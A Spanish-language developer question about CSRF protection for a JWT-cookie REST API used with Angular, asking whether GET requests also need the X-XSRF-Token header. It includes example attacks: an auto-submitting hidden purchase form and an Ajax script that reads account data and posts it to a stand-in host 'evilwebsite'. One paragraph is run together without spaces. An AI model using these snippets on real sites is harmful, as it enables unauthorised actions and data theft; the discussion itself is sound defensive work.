Tengo una API REST que permite a los usuarios autenticados leer datos sobre su propia cuenta y realizar cambios en sus cuentas. Para la autenticación utilizo JWTs almacenados como cookies httpOnly. Para protegerse contra los ataques CSRF, la API REST también proporciona al cliente lo que Angular llama un "token XSRF".

El método de protección CSRF de Angular es tomar el token XSRF que crea su API y volver a enviarlo a la API con cada solicitud en un encabezado "X-XSRF-Token". Depende de su API determinar si se debe permitir la solicitud o no. Una secuencia de comandos que se ejecuta en un sitio web hostil no tendría acceso al token XSRF y, por lo tanto, no podría enviarlo junto con ninguna solicitud CSRF.

Cuando fui a implementar mis solicitudes de front-end en Angular usando HttpClient, noté que HttpXsrfInterceptor no envía el encabezado X-XSRF-Token con solicitudes GET y HEAD.

A partir de las opiniones que he leído en línea, la protección CSRF no es necesaria para las solicitudes GET porque no modifican (o no deberían) modificar ningún dato. Lo máximo que un ataque CSRF podría hacer con una solicitud GET es que la API REST envíe datos confidenciales al navegador web del usuario. El sitio web hostil no podría ver esos datos.

Ejemplo 1: CSRF GET

Si un sitio web hostil intenta emitir una solicitud CSRF GET como esta:

<img src="https://example.com/sensitiveData">

luego,losdatosconfidencialessetransmitendesdelaAPIalnavegadorwebdelusuario,peroelsitiowebhostilnopuedeverlosdatos,porloquetodoestábien.

Ejemplo2:CSRFPOST

SiunsitiowebhostilintentaemitirunasolicitudPOSTCSRFcomoesta:

<bodyonLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
  <input type="hidden" name="itemId" value="34873847">
  <input type="submit" value="View Kittens">
</form>
...

entonces el sitio web hostil aún no verá ningún dato, pero podría causar daños al usuario. Si la API requiere que el encabezado X-XSRF-Token esté presente, este ataque no podrá tener éxito.

Ejemplo 3: CSRF GET a través de Ajax

Pero qué pasa si el sitio web hostil obliga al navegador a realizar una solicitud GET de esta manera:

<script>
$.ajax('https://example.com/sensitiveData', {
  xhrFields: {
    withCredentials: true,
  },
}).done((sensitiveData) => {
  $.ajax('https://evilwebsite/logData', {
    method: 'post',
    data: sensitiveData,
  }).done(() => {
    console.log('I stole your data', sensitiveData)
  });
});
</script>

Algunas políticas de CORS detendrían esto, pero otras políticas de CORS aún lo permitirían.

Parece que requerir protección CSRF en las solicitudes GET mitigaría esta vulnerabilidad.

¿Me estoy perdiendo algo importante?